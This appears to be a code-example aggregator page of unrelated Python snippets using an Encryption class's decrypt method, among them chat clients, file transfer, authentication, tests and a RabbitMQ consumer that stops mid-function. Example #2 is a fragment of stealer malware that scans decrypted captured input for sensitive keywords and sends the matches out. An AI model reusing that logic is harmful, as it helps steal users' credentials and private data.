예제 #1
0
    def handle_connection(self, client_socket, client_address):
        DH = GenerateKey(self.rollnumber)
        peerhash = int(client_socket.recv(4096).decode())
        client_socket.send(str(DH.hashkey).encode())
        DH.gen_key(peerhash)
        En = Encryption(DH.finalkey)

        data = client_socket.recv(4096)
        if not data:
            client_socket.close()
            return
        data = En.decrypt(data)
        print(data.decode())
        if 'sent a file' in data.decode():
            client_socket.send('ok'.encode())
            data = client_socket.recv(4096)
            filename = En.decrypt(data).decode()
            with open(filename, 'wb') as f:
                print('receiving data...', end="")
                while True:
                    data = client_socket.recv(4096)
                    data = En.decrypt(data)
                    if not data:
                        break
                    f.write(data)
                    client_socket.send('ok'.encode())
                print("done")
        client_socket.close()
예제 #2
0
    def _results(self):
        """
        Steal logic function.
        INTEcoin - Holds the encrypted data which deletes after the function finishes copying the file.
        """
        send_flag = False  # File has one of the keywords flag
        keywords_contained = []  # Keywords found in the log
        chunk = ""
        decrypted_log = ""

        for byt in Encryption.bytes_from_file(
                "logs/INTEcoin.dat"
        ):  # Reads stolen data file as chunks and save them in a list
            if byt == "@":
                decrypted_log += Encryption.decrypt(chunk.encode())
                chunk = ""
                continue
            chunk += byt

        for word in KEYWORDS:  # Checks if any sensitive data was inputted
            if word in decrypted_log:
                send_flag = True
                keywords_contained.append(word)
        if send_flag:
            self._send(keywords_contained)  # Sends the encrypted data
        os.remove("logs/INTEcoin.dat"
                  )  # Deletes the file to avoid sending the same data again
예제 #3
0
def download(file):
    if "key" not in request.form:
        return "No key provided"

    key = request.form["key"]

    name = redis_cli.get(file)
    key_hash = redis_cli.get(f"{file}-key")
    iv = redis_cli.get(f"{file}-iv")

    if not name:
        return "No file with that ID exists"

    elif hashlib.sha512(key.encode()).hexdigest() != key_hash.decode():
        return "Invalid key"

    with open(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()),
              "rb") as resp:
        encrypted_file_data = resp.read()
        os.remove(os.path.join(app.config["UPLOAD_FOLDER"], name.decode()))

        cipher = Encryption(key)
        file_data = cipher.decrypt(encrypted_file_data, iv)

        redis_cli.delete(file)
        redis_cli.delete(f"{file}-iv")
        redis_cli.delete(f"{file}-key")

        return send_file(BytesIO(file_data),
                         as_attachment=True,
                         attachment_filename=name.decode())
예제 #4
0
class TestDecryptMethod(unittest.TestCase):
    """Testing class to test all encryption related actions
    """
    def setUp(self):
        self.enc = Encryption(b"defaultD", "defaultP")

    # def tearDown(self): # something here?

    def test_decrypt(self):
        self.enc.encrypt()
        d_data = self.enc.decrypt()
        self.assertEqual(self.enc.data, d_data)
예제 #5
0
def main():
    enc = Encryption()
    print("Encrypting message: The Queen Can't Roll When Sand is in the Jar.")
    message = "The Queen Can't Roll When Sand is in the Jar."
    message = enc.encrypt(message)
    print(message)
    print()
    print("Decrypting message:")
    message = enc.decrypt(message)
    print(message)
    
    input("--Press any key to end--")
예제 #6
0
class TestEncryptMethod(unittest.TestCase):
    """Testing class to test all encryption related actions
    """
    def setUp(self):
        self.enc = Encryption(b"defaultD", "defaultP")

    def test_encrypt0(self):
        self.enc.encrypt()
        d_data = self.enc.decrypt()
        self.assertEqual(self.enc.data, d_data)

    """ Test salt is not same """

    def test_encrypt1(self):
        self.enc1 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo")
        hash1 = self.enc.encrypt()

        self.enc2 = Encryption(b"HELLO RED BULL ALL DAY IPA", "fee fi fo")
        hash2 = self.enc2.encrypt()

        self.assertNotEqual(hash1, hash2)
예제 #7
0
class ServerTcp:
    def __init__(self, ip, port, router):
        self.ip = ip
        self.port = port
        #init socket
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.ip, self.port))
        #init handlers
        self.handlers = {
            "bootstrap": self.bootstrap_handler,
            "ping": self.ping_handler,
            "search": self.search_handler,
            "store": self.store_hander,
            "app": self.app_handler,
            "encrypted": self.encryption_handler
        }
        self.router = router
        self.apps = {}
        self.enc = Encryption()
        self.flag = True

    def listen(self):
        self.sock.listen(5)
        print("server is runing on port: " + str(self.port))
        while self.flag:
            client, _ = self.sock.accept()
            client.settimeout(30)
            threading.Thread(target=self.handle, args=client)

    def handle(self, client):
        while self.flag:
            try:
                data = client.recv(2048)
                data = Formatter.DecodeJson(data)
                datatype = data["datatype"]
                self.handlers[datatype](data)
                sleep(0.5)
            except Exception:
                client.close()

    def add_handlers(self, handlers):
        self.handlers.update(handlers)

    def stop(self):
        #stops the server
        self.flag = False

########################################################################################################################

    def bootstrap_handler(self, data):
        '''
        :param data: contains the data for requesting bootstrap
        :return: void - leads to the creation of the new user's routing table
        '''
        action = data["action"]
        if action == "request":
            peer = data["peer_id"]
            range_from_peer = self.router.peer.get_range(peer)
            new_peer = self.router.peer.closest_to_peer(peer)
            range_from_new_peer = self.router.peer.get_range(new_peer)
            if range_from_new_peer < range_from_peer:
                self.router.bootstrap_red(data, new_peer)
            else:
                RoutingTable = self.router.peer.add_peer(data["From"])
                self.router.bootstrap_resp(data, RoutingTable)
        elif action == "response":
            RoutingTable = data["RoutingTable"]
            self.router.peer.RoutingTable = RoutingTable
        elif action == "redirect":
            RoutingTable = self.router.peer.add_peer(data["peer_id"])
            self.router.bootstrap_resp_red(data, RoutingTable)

########################################################################################################################

    def ping_handler(self, data):
        '''

        :param data: contains the data for
        :return:
        '''
        if data["action"] == "request":
            self.router.ping_reply(data)
        else:
            print(data["From"] + " is alive")
            self.router.client.AddClient(data["endpoint"], data["From"],
                                         data["pubk"], data["pubsig"])

########################################################################################################################

    def search_handler(self, data):
        action = data["action"]
        if action == "found":
            self.router.peer.client.PreformTask(data["peer_id"],
                                                data["endpoint"])
        if action == "init":
            self.router.redirect_search_peer(data)
        if action == "search":
            self.router.redirect_search_peer(data)
        if action == "end":
            self.router.peer.client.CancelTask(data["peer_id"])

########################################################################################################################

    def store_hander(self, data):
        action = data["action"]
        if action == "store":
            self.router.recv_store(data)

########################################################################################################################

    def swarm_handler(self, data):
        action = data["action"]
        if action == "find_tracker":
            s = Swarm(self.router.peer.id)

########################################################################################################################

    def app_handler(self, data):

        apptype = data["apptype"]
        self.apps[apptype](data)

    def encryption_handler(self, data):
        clear = self.enc.decrypt(data)
        clear = Formatter.DecodeJson(clear)
        datatype = clear["datatype"]
        self.handlers[datatype](clear)
예제 #8
0
class LoginPage(tk.Canvas):
    def __init__(self, parent, main_page):

        #for recreating after destroying and using outside the namspace of __init__() if needed
        self.parent = parent
        self.main_page = main_page

        #connections to database
        self.credentials = self.main_page.connection.MechatronicsDB.Credentials
        self.icons = self.main_page.connection.MechatronicsDB.Iconbase

        #colors
        self.__bg = "#00FF96"
        self.__fg = "#1565C0"
        self.highlightbackground = "#1976D2"
        self.highlightcolor = "#f44336"
        self.active_colour = "#42A5F5"

        #canvas initialization
        super().__init__(parent,
                         bg=self.__bg,
                         highlightbackground=self.highlightbackground,
                         highlightthickness="2",
                         highlightcolor=self.highlightcolor,
                         relief="flat")
        self.bind("<Button-1>", lambda var: [self.focus_set(), self.active()])

        #user_name Label
        self.__labelUser = tk.Label(self,
                                    text="User Name",
                                    font=("Qualy", 30),
                                    bg=self.__bg,
                                    fg=self.__fg,
                                    relief="flat",
                                    anchor="w")
        self.__labelUser.place(relwidth=0.2,
                               relheight=0.1,
                               relx=0.05,
                               rely=0.15)

        #password_label
        self.__labelPassword = tk.Label(self,
                                        text="Password",
                                        font=("Qualy", 30),
                                        bg=self.__bg,
                                        fg=self.__fg,
                                        relief="flat",
                                        anchor="w")
        self.__labelPassword.place(relwidth=0.2,
                                   relheight=0.1,
                                   relx=0.05,
                                   rely=0.38)

        #user_entry_box
        self.__user_entry = tk.Entry(
            self,
            bd=5,
            font=("comfortaa", 30),
            bg=self.__bg,
            highlightbackground=self.highlightbackground,
            highlightthickness="2",
            highlightcolor=self.highlightcolor,
            relief="flat")
        self.__user_entry.bind(
            "<Button-1>",
            lambda var: [self.__user_entry.focus_set(),
                         self.active()])
        self.__user_entry.bind(
            "<Return>",
            lambda var: [self.__password_entry.focus_set(),
                         self.active()])
        self.__user_entry.place(relheight=.1,
                                relwidth=.9,
                                relx=0.05,
                                rely=0.26)

        #password_enrty_box
        self.__password_entry = tk.Entry(
            self,
            bd=0,
            font=("comfortaa", 30),
            show="*",
            bg=self.__bg,
            highlightbackground=self.highlightbackground,
            highlightcolor=self.highlightcolor,
            highlightthickness="2",
            relief="flat")
        self.__password_entry.bind(
            "<Button-1>",
            lambda var: [self.__password_entry.focus_set(),
                         self.active()])
        self.__password_entry.bind(
            "<Return>",
            lambda var: [self.__button1.focus_set(),
                         self.active()])
        self.__password_entry.place(relheight=.1,
                                    relwidth=.9,
                                    relx=0.05,
                                    rely=0.49)

        self.loaded_icons = {
            "hide":
            ImageTk.PhotoImage(
                Image.open(
                    io.BytesIO(
                        self.icons.find_one({
                            "_id": "hide"
                        }).get("image"))).resize((45, 45), Image.ANTIALIAS)),
            "show":
            ImageTk.PhotoImage(
                Image.open(
                    io.BytesIO(
                        self.icons.find_one({
                            "_id": "show"
                        }).get("image"))).resize((45, 45), Image.ANTIALIAS))
        }

        #hide_and_seek_button
        self.hide_n_seek = tk.Button(self,
                                     bd=0,
                                     image=self.loaded_icons.get("show"),
                                     bg=self.__bg,
                                     highlightbackground=self.__bg,
                                     activebackground=self.__bg,
                                     highlightcolor=self.__bg,
                                     command=self.hide_and_seek,
                                     relief="flat")
        self.bind("<Button-1>", lambda var: self.active())
        self.hide_n_seek.place(relwidth=0.04,
                               relheight=0.08,
                               relx=0.905,
                               rely=0.5)

        #submit button
        self.__button1 = tk.Button(self,
                                   text="Submit",
                                   font=("Skate Brand", 25),
                                   bg=self.__bg,
                                   fg=self.__fg,
                                   highlightbackground="#FF5722",
                                   activebackground=self.__fg,
                                   activeforeground=self.__bg,
                                   command=self.post_checking,
                                   relief="groove")
        self.__button1.place(relwidth=.2, relheight=0.1, relx=.4, rely=.705)

        #sign_up_section
        self.__messagelabel = tk.Label(self,
                                       text="Don't have an account?",
                                       font=("comfortaa", 15),
                                       bg=self.__bg,
                                       relief="flat",
                                       anchor="e")
        self.__messagelabel.place(relwidth=0.22,
                                  relheight=0.05,
                                  relx=0.65,
                                  rely=0.92)

        self.__button2 = tk.Button(self,
                                   bd=0,
                                   text="Sign Up?",
                                   font=("qualy", 15),
                                   bg=self.__bg,
                                   fg="#1976D2",
                                   activebackground="#2E4053",
                                   activeforeground=self.__bg,
                                   highlightbackground="#1976D2",
                                   command=lambda: SignUP(self.main_page),
                                   relief="flat")
        self.__button2.place(relwidth=0.1, relheight=0.08, relx=0.88, rely=0.9)

    def active(self):

        self.frame_name = str(self.focus_get()).rsplit("!", 1)[0]

        if str(self.focus_get()) == f"{self.frame_name}!entry":

            self.__labelUser.configure(fg=self.highlightcolor)
            self.__user_entry.configure(bg=self.active_colour)

        else:
            self.__labelUser.configure(fg=self.__fg)
            self.__user_entry.configure(bg=self.__bg)

        if str(self.focus_get()) == f"{self.frame_name}!entry2":

            self.__labelPassword.configure(fg=self.highlightcolor)
            self.__password_entry.configure(bg=self.active_colour)
            self.hide_n_seek.configure(bg=self.active_colour,
                                       activebackground=self.active_colour,
                                       highlightbackground=self.active_colour)

        else:
            self.__labelPassword.configure(fg=self.__fg)
            self.__password_entry.configure(bg=self.__bg)
            self.hide_n_seek.configure(bg=self.__bg,
                                       activebackground=self.__bg,
                                       highlightcolor=self.__bg)

    def hide_and_seek(self):

        if self.__password_entry.cget("show") == "*":

            self.__password_entry.configure(show="")
            self.hide_n_seek.configure(image=self.loaded_icons.get("hide"))

        else:

            self.__password_entry.configure(show="*")
            self.hide_n_seek.configure(image=self.loaded_icons.get("show"))

    def post_checking(self, *kwargs):

        if (len(self.__user_entry.get()) == 0
                or len(self.__password_entry.get()) == 0):

            messagebox.showerror("Error", "Username or Password is Empty!")

        else:
            self.checker = Encryption()

            try:

                if self.__user_entry.get().rstrip(
                ) == self.credentials.find_one({
                        "user_name":
                        self.__user_entry.get().rstrip()
                }).get("user_name"):

                    if self.__password_entry.get() == self.checker.decrypt(
                            self.credentials.find_one({
                                "user_name":
                                self.__user_entry.get().rstrip()
                            }).get("password").encode()).decode():

                        messagebox.showinfo(
                            "WELCOME!",
                            (self.__user_entry.get().split("_")[0]).title())

                        self.main_page.canvases.update({
                            "info_page":
                            InfoPage(self.main_page.interface, self.main_page,
                                     self.__user_entry.get())
                        })

                        self.destroy()
                        self.__init__(self.parent, self.main_page)

                        self.main_page.show_canvas("info_page")

                    else:

                        messagebox.showerror(
                            "Error!",
                            "Incorrect Password!\nCheck for white space at the end!!"
                        )

                else:

                    messagebox.showerror("Error!",
                                         "No user found.\nCheck user name.")
                    self.__password_entry.delete(0, "end")

            except AttributeError:

                messagebox.showerror("Error", "Username doesn't exist.")
    def authenticate(self, shared_secret_key, receiver_q, sender_q, mode,
                     auth_res, token):
        """
        Authenticates server and client, returns a session key
        """
        client_auth_str = "I'm client"
        server_auth_str = "I'm server"
        NUM_BYTES_DH = 32  # Going for 256-bit a/b values in diffie-hellman
        NUM_BYTES_NONCE = 8  # Going for 64-bit nonce
        TIMEOUT_DELAY = 5  # Timeout waiting on response after 5 seconds
        logging.info('Authenticating')

        # Diffie-Hellman Group 14 2024-bit Key exchange values
        p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
        g = 0x2

        # Client Mode
        if (mode == Mode.CLIENT):

            # First message to server in the form:
            # "client_msg, ra"
            #       client_msg: "I'm client"
            #       ra        : client generated nonce
            ra = Random.get_random_bytes(NUM_BYTES_NONCE)
            msg = [client_auth_str, ra]
            msg = pickle.dumps(msg)
            logging.info("Message to send: " + client_auth_str + "," + str(ra))
            wait_if_debug(token)
            try:
                sender_q.put(msg, True, TIMEOUT_DELAY)
            except:
                auth_res.error = True
                logging.info("Timed out writing client's first message")
                return

            # Expect server response in the form:
            # "rb, E("server_msg, ra, B", Kab)"
            #       rb        : new nonce from server
            #       server_msg: "I'm server"
            #       ra        : return of previously generated nonce
            #       B         : server generated half of diffie-hellman (g^b mod p)
            #       Kab       : shared secret key between client and server
            try:
                if (token.debug):
                    resp = receiver_q.get(True)
                else:
                    resp = receiver_q.get(True, TIMEOUT_DELAY)
            except:
                auth_res.error = True
                wait_if_debug(token)
                logging.info("Timed out waiting for server's first reply")
            try:
                resp = pickle.loads(resp)
                rb = resp[0]
                ciphertext = resp[1]
                #logging.info("Ciphertext received from server: " + str(ciphertext))
                plaintext = Encryption.decrypt(ciphertext, shared_secret_key)
                #wait_if_debug(token)
            except Exception as e:
                logging.info("Message from server wasn't formatted correctly")
                logging.info('Error: ' + str(e))
                auth_res.error = True
                return

            try:
                plaintext = pickle.loads(plaintext)
                server_msg = plaintext[0]
                ra_reply = plaintext[1]
                B = int(plaintext[2])
                logging.info("Plaintext received: ")
                logging.info('Server message: ' + str(server_msg))
                logging.info('ra returned: ' + str(ra_reply))
                logging.info('Server B: ' + str(B))
                wait_if_debug(token)
                if (server_msg != server_auth_str):
                    logging.info("Message from server didn't say 'I'm server'")
                    auth_res.error = True
                    return
                if (ra_reply != ra):
                    logging.info(
                        "Reterned nonce ra_reply not equal sent nonce ra")
                    auth_res.error = True
                    return
            except Exception as e:
                logging.info("Message from server wasn't formatted correctly")
                logging.info('Error: ' + str(e))
                wait_if_debug(token)
                auth_res.error = True
                return

            # Send final authorization message in the form:
            # "E("client_msg, rb, A", Kab)"
            #       client_msg: "I'm client"
            #       rb        : nonce received from server
            #       A         : client generated half of diffie-hellman (g^a mod p)
            #       Kab       : shared secret key between client and server
            a = Random.get_random_bytes(NUM_BYTES_DH)
            a_int = int.from_bytes(a, byteorder='big')
            A = pow(g, a_int, p)
            plaintext = [client_auth_str, rb, A]
            logging.info("Plaintext to be sent: ")
            logging.info('Client message: ' + str(client_auth_str))
            logging.info('rb returned : ' + str(rb))
            logging.info('Client A: ' + str(A))
            wait_if_debug(token)
            plaintext = pickle.dumps(plaintext)
            ciphertext = Encryption.encrypt(plaintext, shared_secret_key)
            logging.info("Ciphertext to be sent: " + str(ciphertext))
            wait_if_debug(token)
            msg = [ciphertext]
            msg = pickle.dumps(msg)
            try:
                sender_q.put(msg, True, TIMEOUT_DELAY)
                logging.info("Sending message to server...")
            except:
                logging.info("Timed out writing client's second message")
                auth_res.error = True
                return

            # Calculate newly established session key
            session_key = pow(B, a_int, p)
            logging.info("Session key: " + str(session_key))
            wait_if_debug(token)
            auth_res.dh = session_key
            auth_res.error = False

        # Server Mode
        else:

            # Wait for message from client in the form:
            # "client_msg, ra"
            #       client_msg: "I'm client"
            #       ra        : client generated nonce
            while (1):
                try:
                    if (token.debug):
                        resp = receiver_q.get(True)
                        break
                    else:
                        resp = receiver_q.get(True, TIMEOUT_DELAY)
                        break
                except:
                    logging.info("Still waiting for client's first message")
                    continue
            try:
                resp = pickle.loads(resp)
                client_msg = resp[0]
                ra = resp[1]
                logging.info("Message recieved from client")
                logging.info('Client message: ' + str(client_msg))
                logging.info('ra: ' + str(ra))
                wait_if_debug(token)
                if (client_msg != client_auth_str):
                    logging.info("Message from client didn't say 'I'm client'")
                    wait_if_debug(token)
                    auth_res.error = True
                    return
            except Exception as e:
                logging.info("Message from client wasn't formatted correctly")
                logging.info('Exception: ' + str(e))
                wait_if_debug(token)
                auth_res.error = True
                return

            # Send reply to client in the form:
            # "rb, E("server_msg,ra,dh_b", Kab)
            #       rb        : server generated nonce
            #       server_msg: "I'm server"
            #       ra        : nonce received from client
            #       B         : server generated half of diffie-hellman (g^b mod p)
            #       Kab       : shared secret key between client and server
            rb = Random.get_random_bytes(NUM_BYTES_NONCE)
            b = Random.get_random_bytes(NUM_BYTES_DH)
            b_int = int.from_bytes(b, byteorder='big')
            B = pow(g, b_int, p)
            plaintext = [server_auth_str, ra, B]
            logging.info("Plaintext to be sent: ")
            logging.info('rb: ' + str(rb))
            logging.info('server_mgs: ' + server_auth_str)
            logging.info('ra: ' + str(ra))
            logging.info('B: ' + str(B))
            wait_if_debug(token)
            plaintext = pickle.dumps(plaintext)
            ciphertext = Encryption.encrypt(plaintext, shared_secret_key)
            msg = [rb, ciphertext]
            msg = pickle.dumps(msg)
            logging.info('Server: Message: ' + str(rb) + ',' + str(ciphertext))
            wait_if_debug(token)
            try:
                sender_q.put(msg, True, TIMEOUT_DELAY)
                logging.info("Sending message to client...")
            except:
                logging.info("Timed out writing server's first message")
                wait_if_debug(token)
                auth_res.error = True
                return

            # Wait for final message from client in the form:
            # "E("client_msg, rb, A", Kab)"
            #       client_msg: "I'm client"
            #       rb        : return of previously generated nonce
            #       A         : client generated half of diffie-hellman (g^a mod p)
            #       Kab       : shared secret key between client and server
            try:
                if (token.debug):
                    resp = receiver_q.get(True)
                else:
                    resp = receiver_q.get(True, TIMEOUT_DELAY)
            except:
                logging.info("Timed out waiting for client's second message")
                wait_if_debug(token)
                auth_res.error = True
                return
            try:
                resp = pickle.loads(resp)
                ciphertext = resp[0]
                logging.info('Ciphertext received: ' + str(ciphertext))
                wait_if_debug(token)
                plaintext = Encryption.decrypt(ciphertext, shared_secret_key)
                plaintext = pickle.loads(plaintext)
                client_msg = plaintext[0]
                rb_reply = plaintext[1]
                A = int(plaintext[2])
                logging.info('Plaintext received: ')
                logging.info('client_msg: ' + client_msg)
                logging.info('rb: ' + str(rb))
                logging.info('A: ' + str(A))
                # TODO: For some reason adding the wait below would hang the system
                #self.wait_if_debug(debug, token)
                if (client_msg != client_auth_str):
                    logging.info("Message from client didn't say 'I'm client'")
                    wait_if_debug(token)
                    auth_res.error = True
                    return
                if (rb_reply != rb):
                    logging.info(
                        "Returned nonce rb_reply not equal sent nonce rb")
                    wait_if_debug(token)
                    auth_res.error = True
                    return
            except Exception as e:
                logging.info("Message from client wasn't formatted correctly")
                logging.info(e)
                wait_if_debug(token)
                auth_res.error = True
                return

            # Calculate newly established session key
            session_key = pow(A, b_int, p)
            logging.info("Session key: " + str(session_key))
            wait_if_debug(token)
            auth_res.dh = session_key
            auth_res.error = False
            return
예제 #10
0
class RemoteFS:
    def __init__(self, server: CubicServer, key):
        self.server = server
        self.crypto = Encryption(key)
        self.clear()

    def clear(self):
        self.dict = {}
        self.all_block_hashes = set()

    def generate_dict(self, items):
        items1, items2 = itertools.tee(items)
        iterable = itertools.chain.from_iterable(
            (item.path, item.meta) for item in items1)
        data = list(self.crypto.parallel_decrypt(iterable))
        paths, metas = data[::2], data[1::2]
        for item, path, meta in zip(items2, paths, metas):
            path = path.decode('utf8', errors='surrogateescape')
            meta = json.loads(meta.decode())
            mode = meta['mode']
            mtime = meta['mtime']
            is_dir = path.endswith('/')
            n = Node(is_dir=is_dir, mode=mode, mtime=mtime)
            if is_dir:
                path = path[:-1]
            else:
                n.size = meta['size']
                n.block_hashes = item.blocks
                self.all_block_hashes.update(n.block_hashes)
            self.dict[path] = n

    def fetch_remote(self):
        logging.info('Downloading remote file list')
        items = self.server.get_tree()
        self.clear()
        self.generate_dict(items)
        logging.info('%s items in total', len(self.dict))

    def check_hashes(self, hashes):
        hashes = list(hashes)
        logging.info('Checking remote existing blocks')
        exists = [
            hash
            for hash, exist in zip(hashes, self.server.bulk_head_block(hashes))
            if exist
        ]
        logging.info('%s of %s blocks exists', len(exists), len(hashes))
        return exists

    def update_remote(self, *, add, remove):
        logging.info('Updating directory tree')
        remove_list = []
        for path in remove:
            remove_list.append(
                self.crypto.encrypt(
                    (path + ('/' if self.dict[path].is_dir else '')).encode(
                        'utf8', errors='surrogateescape')))
        add_list = []
        for path, node in add.items():
            if node.is_dir:
                add_list.append(
                    SDK_Node(
                        self.crypto.encrypt(
                            (path + '/').encode('utf8',
                                                errors='surrogateescape')),
                        self.crypto.encrypt(
                            json.dumps({
                                'mode': node.mode,
                                'mtime': node.mtime
                            }).encode()),
                        [],
                    ))
            else:
                add_list.append(
                    SDK_Node(
                        self.crypto.encrypt(
                            path.encode('utf8', errors='surrogateescape')),
                        self.crypto.encrypt(
                            json.dumps({
                                'mode': node.mode,
                                'mtime': node.mtime,
                                'size': node.size
                            }).encode()),
                        node.block_hashes,
                    ))
        self.server.post_tree(put_items=add_list, delete_paths=remove_list)
        logging.info('Directory tree updated')

    def put_blocks(self, blocks):
        self.put_encrypted_blocks(
            [self.crypto.encrypt(block) for block in blocks])

    def put_encrypted_blocks(self, blocks):
        logging.info('Uploading %s blocks, total size %s bytes', len(blocks),
                     sum(len(b) for b in blocks))
        self.server.bulk_post_block(blocks)

    def get_block(self, hash):
        return self.crypto.decrypt(self.server.get_block(hash))
예제 #11
0
def parseMessage():
    while True:
        data, addr = sock.recvfrom(100)
        # MESSAGE TYPE 02 = Data, 04 = ACK
        if data[3] == '\x02':
            source = data[8:24]
            destination = data[24:40]

            if sourceAddress != destination:
                routePacket(data, destination)

            if data[40] in ['\x05', '\x0D', '\x01', '\x09']:
                message = ''
                if data[40] in ['\x05', '\x0D']:
                    message = parseChunking(data)
                else:
                    message = data[41:]

                sendAck(data[1:3], source, addr[0], addr[1])
                if message:
                    sendBack = False
                    if not any(d['nextHop'] == source for d in routingTable):
                        msg_list.insert(END, "Neighbor " + knownTable[source]['email'] + " connected")
                        neighbors.append(addr[0] + ":"+ str(addr[1]) + ":" + knownTable[source]['email'])
                        sendBack = True

                    if len(message) == 0 or message == '\x00':
                        neighborToRemove = addr[0] + ":" + str(addr[1]) + ":" + knownTable[source]['email']
                        idx = neighbors.index(neighborToRemove)
                        del neighbors[idx]

                    if data[40] in ['\x0D', '\x09']: message = Encryption.decrypt(message)
                    updateRoutingTable(message, source)
                    if sendBack:
                        sendRoutingTable(addr[0], addr[1], source)
                        

            elif data[40] in ['\x06', '\x0E', '\x02', '\x0A']:
                message = None
                if data[40] in ['\x06', '\x0E']:
                    message = parseChunking(data)
                else:
                    message = data[41:]

                sendAck(data[1:3], source, addr[0], addr[1])   
                if message is not None:

                    if data[40] in ['\x0E', '\x0A']: message = Encryption.decrypt(message)

                    messageType = message[0]
                    message = message[1:]
                    
                    if messageType == '\x02':
                        f = open('output.file', 'wb')
                        f.write(message)
                        f.close()
                        continue

                    from_email = knownTable[source]['email']
                    
                    msg_list.insert(END, from_email + ': ' + message)

        elif data[3] == '\x04':
            dest_addr = addr[0] + ":" + str(addr[1])
            packetConfId = bn(data[5:7])
            if dest_addr in ackHistory and packetConfId in ackHistory[dest_addr]:
                 del ackHistory[dest_addr][packetConfId]
    pass
예제 #12
0
class Client:
    def __init__(self, address, display_message, start_new_server):
        """
        :param address: адресс сервера, например: ('127.0.0.1' , 25000)
        :param display_message: функция которая будет вызываться при получении сообщения
        :param start_new_server: функция которая будет вызываться когда нужно создать новый сервер
        """
        self.server_address = address
        self.display_message = display_message
        self._start_new_server = start_new_server
        self.connections_list = []
        self.connections_info = []
        self._encryption = Encryption()
        self.has_new_connections_info = True
        self._running = True
        self.sock = socket.socket()
        thread = Thread(target=self._receive_data)
        thread.daemon = True
        thread.start()

    def _receive_data(self):
        try:
            self.sock.connect(self.server_address)
            self.display_message("system", "connection successful", "blue")
            thread = Thread(target=self._send_description)
            thread.daemon = True
            thread.start()
        except socket.error as e:
            self.display_message("system", "unable to connect", "blue")
            print("clent error: " + str(e))
            return
        while self._running:
            try:
                data = self.sock.recv(1024)
                if not data:
                    raise socket.error
                else:
                    self._handle_data(data)
            except socket.error:
                if not self._running:
                    return
                self.display_message("system", "server has disconnected",
                                     "blue")
                self._handle_server_down()
                break

    def _handle_data(self, data):
        # данные в посылаются в формате json
        messages = self._encryption.decrypt(data).decode().split(
            "}{")  # разделение пакетов json
        if len(messages) > 1:
            messages = [messages[0] + "}"
                        ] + ["{" + i + "}"
                             for i in messages[1:-1]] + ["{" + messages[-1]]
        for message in messages:
            self._handle_message(message)

    def send_message(self, name, text, color):
        config = configparser.ConfigParser()
        config.read("config.ini")
        self.sock.sendall(
            self._encryption.encrypt(
                json.dumps({
                    "username": name,
                    "text": text,
                    "color": color
                }).encode()))

    def _handle_message(self, message):
        json_data = json.loads(message)
        if "connections_list" in json_data:
            if len(json_data["connections_list"]) == 0:
                self.connections_list = []
            else:
                self.connections_list = [
                    tuple(l) for l in json_data["connections_list"]
                ]
        elif "users_data" in json_data:
            self.connections_info = list(json_data["users_data"])
            self.has_new_connections_info = True
        else:
            self.display_message(json_data["username"], json_data["text"],
                                 json_data["color"])

    def _handle_server_down(self):
        # обработка отключения сервера, выбор клиента создающего новый сервер
        self.connections_list.sort(key=lambda tup: str(tup))
        if self.connections_list[0] == self.sock.getsockname():
            self._start_new_server(('', 25000))
            self.server_address = ('127.0.0.1', 25000)
            self.display_message("system", "you are now hosting server",
                                 "blue")
        else:
            self.server_address = (self.connections_list[0][0], 25000)
            time.sleep(1)

        self.sock.close()
        self.sock = socket.socket()
        thread = Thread(target=self._receive_data)
        thread.daemon = True
        thread.start()

    def _send_description(self):
        # отправляет описание пользователя, когда требуется
        prev_modified = 0
        while self._running:
            modified = os.path.getmtime("config.ini")
            if prev_modified < modified:
                config = configparser.ConfigParser()
                config.read("config.ini")
                name = config.get("USER INFORMATION", "username")
                color = config.get("USER INFORMATION", "color")
                status = config.get("USER INFORMATION", "status")
                self.sock.sendall(
                    self._encryption.encrypt(
                        json.dumps({
                            "userdata": {
                                "username": name,
                                "color": color,
                                "status": status
                            }
                        }).encode()))
                prev_modified = modified
            time.sleep(1)

    def stop(self):
        self._running = False
        self.sock.shutdown(socket.SHUT_RDWR)
        self.sock.close()
class RabbitMQ_Server():
    def __init__(self, dispatcher, config, mac, key):
        self.mac = mac
        self.config = config
        self.dispatcher = dispatcher

        self.credentials = pika.PlainCredentials(config["rabbitmq_login"],
                                                 config["rabbitmq_password"])

        self.connected = False
        #self.message = messages_pb2.Code()

        self.encryption = Encryption(key)

        self._thread = Thread(target=self._receiver_thread)
        self._thread.start()

    def pooling_connect(self):
        self._thread_connection = Thread(target=self._connection_thread)
        self._thread_connection.start()

    def _connection_thread(self):
        while 1:
            print(" [*] RabbitMQ Server - Trying to Connect to RabbitMQ.")
            if self.connect():
                print(" [*] RabbitMQ Server - RabbitMQ unreachable.")
                sleep(1)
            else:
                break

        print(" [*] RabbitMQ Server - Connected to RabbitMQ.")

    def connect(self):
        try:
            self.connection = pika.BlockingConnection(
                pika.ConnectionParameters(
                    host=self.config["rabbitmq_server_ip"],
                    credentials=self.credentials))
            self.channel = self.connection.channel()
            self.channel.exchange_declare(exchange='outbound.dojot.exchange',
                                          exchange_type='direct',
                                          durable=True)
            result = self.channel.queue_declare(exclusive=True)
            queue_name = result.method.queue
            self.channel.queue_bind(exchange='outbound.dojot.exchange',
                                    queue=queue_name,
                                    routing_key=self.mac)
            self.channel.basic_consume(self._receiver_callback,
                                       queue=queue_name,
                                       no_ack=True)
            self.connected = True

        except Exception as e:
            print(e)
            print(
                " [*] Could NOT connect to Rabbit Server. Network unreachable."
            )
            return 1

        return 0

    def _receiver_callback(self, ch, method, properties, body):
        #message.ParseFromString(body)
        try:
            print(" [*] RabbitMQ server received something.")
            json_message = self.encryption.decrypt(body)
            message = json.loads(json_message)
